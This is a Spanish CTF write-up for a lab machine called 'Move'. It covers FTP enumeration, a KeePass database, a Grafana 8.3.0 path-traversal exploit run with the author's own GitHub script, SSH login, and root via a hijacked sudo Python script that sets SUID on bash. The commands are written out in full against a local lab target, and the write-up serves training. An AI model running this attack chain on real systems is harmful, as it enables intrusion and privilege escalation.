> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-faciles/move-write-up.md).

# Move write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/BAQwfxah6k2pAqPnOiaD" alt=""><figcaption></figcaption></figure>

## **Realizamos un escaneo de puertos abiertos a la máquina víctima**

Usamos la herramienta **Nmap** para escanear los puertos abiertos en la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -O -Pn -n 172.17.0.2
```

<figure><img src="/files/UBU9jFQ9h2eox3OJCrHU" alt=""><figcaption></figcaption></figure>

El escaneo nos indica que los puertos 21 (FTP), 22 (SSH), 80 (HTTP) y el 3000 (HTTP) están abiertos. Lo primero que haremos será iniciar sesión en el servicio FTP de manera anónima ya que el escaneo nos indica que se puede hacer. Para hacerlo simplemente ponemos el siguiente comando y ponemos como usuario anonymous sin poner ninguna contraseña:

```bash
ftp 172.17.0.2
```

<figure><img src="/files/TresSynWwEHoVENmyJhE" alt=""><figcaption></figcaption></figure>

Ahora, ejecutamos el comando `ls` y nos lista el directorio llamado `mantenimiento`, así que entramos en el con el comando `cd mantenimiento` y encontramos el fichero llamado `database.kdbx` que es una base de datos de contraseñas creada con **KeePass**, por tanto lo descargamos con `get`:

```bash
cd mantenimiento
get database.kdbx
```

<figure><img src="/files/gQ2SkIxRAdvM4WCvy4eH" alt=""><figcaption></figcaption></figure>

Una vez descargado intentamos usar **keepass2john** para ver si podemos romper la contraseña pero nos da error.

<figure><img src="/files/JtZlFqUusPWvqn7GnhQy" alt=""><figcaption></figcaption></figure>

Así que vamos a seguir buscando otra pista o la contraseña de la base de datos. Por tanto, ponemos la IP de la máquina víctima en el navegador, pero solo es la plantilla de **apache** predeterminada. Así que vamos a usar la herramienta llamada **Gobuster** para buscar rutas ocultas con el siguiente comando:

```bash
gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,html,php,py 
```

<figure><img src="/files/f0WIEn98dRlgQW7WXqOZ" alt=""><figcaption></figcaption></figure>

Y nos encuentra la ruta `/maintenance.html`, la cual, al ponerla en el navegador nos lo siguiente:

<figure><img src="/files/73m7OpFNiHieIM0dHTj3" alt=""><figcaption></figcaption></figure>

Ahora, vamos a analizar hay en el puerto 3000, así que ponemos la IP con el puerto (<http://172.17.0.2:3000/>) en el navegador y vemos que está corriendo el servicio llamado **Grafana**, el cual es una plataforma que se usa para la visualización y monitoreo de datos. Pero hay que darse cuenta de que se está usando una versión vulnerable (8.3.0), esa vulnerabilidad se basa en usar las rutas de los plugins para explotar un LFI y poder ver archivos dentro del servidor. Así que vamos a usar un script en bash que he hecho para explotar esta vulnerabilidad, el cual esta en [Github](https://github.com/Shinkirou789/Grafana-8-8.30-LFI-exploit). Para usarlo solo hay que clonar el script con el siguiente comando:

```bash
git clone https://github.com/Shinkirou789/Grafana-8-8.30-LFI-exploit.git; cd Grafana-8-8.30-LFI-exploit; chmod 0700 grafana_8_30.sh
```

<figure><img src="/files/ywIxyp900VO0SAuH2Ct8" alt=""><figcaption></figcaption></figure>

Ahora usaremos la pista que habíamos visto en `/maintenance.html` y vamos a leer el archivo `/tmp/pass.txt`. Para hacerlo solo tenemos que poner el siguiente comando:

```bash
./grafana_8_30.sh /tmp/pass.txt 172.17.0.2:3000
```

<figure><img src="/files/uRNp0O50vtLWDarloHQH" alt=""><figcaption></figcaption></figure>

Esto nos muestra una posible contraseña `t9sH76gpQ82UFeZ3GXZS`. Así que vamos a intentar abrir la base de datos. Para hacerlo, necesitamos tener instalado **Keepass**. Si no lo tienes ejecuta el siguiente comando para instalarlo:

```bash
 sudo apt install keepassxc
```

Ahora solo tenemos que abrir la base de datos e ingresar la contraseña.

<figure><img src="/files/vYprN2ofEmmsg6rqLeRM" alt=""><figcaption></figcaption></figure>

Dentro de la base de datos, encontramos que se usa la misma contraseña para un usuario llamado `freddy`, así que usamos esas credenciales para iniciar sesión en el servicio SSH y ya estaríamos dentro de la máquina víctima.

<figure><img src="/files/vYD3sQnOysJdEc2shUQZ" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro ejecutamos el comando `sudo -l` el cual nos indica que podemos ejecutar el binario `/usr/bin/python3` y el fichero `/opt/maintenance.py` como cualquier usuario sin necesidad de contraseña. Lo primero que vamos a hacer es cambiar el nombre del archivo `maintenance.py` y crear un nuevo archivo con código malicioso que tenga el nombre `maintenance.py`.

```bash
mv /opt/maintenance.py archivo.py
```

Ahora creamos el nuevo archivo con nombre `maintenance.py` y le introducimos un código que otorgara privilegios SUID al binario bash.

```bash
cat > maintenance.py
```

Después de poner ese comando escribimos lo siguiente:

```python
import os

os.system("chmod u+s '/bin/bash'")
```

<figure><img src="/files/JJRpbm1uIbCx3kmu1GUB" alt=""><figcaption></figcaption></figure>

Ahora, solo tenemos que ejecutar el código malicioso con el siguiente comando:

```bash
sudo /usr/bin/python3 /opt/maintenance.py
```

```
Finalmente, solo ejecutamos `bash -p` y obtenemos privilegios elevados.
```

```bash
bash -p
```

<figure><img src="/files/hEYVvSzmo6Fs3CgmoDtb" alt=""><figcaption></figcaption></figure>
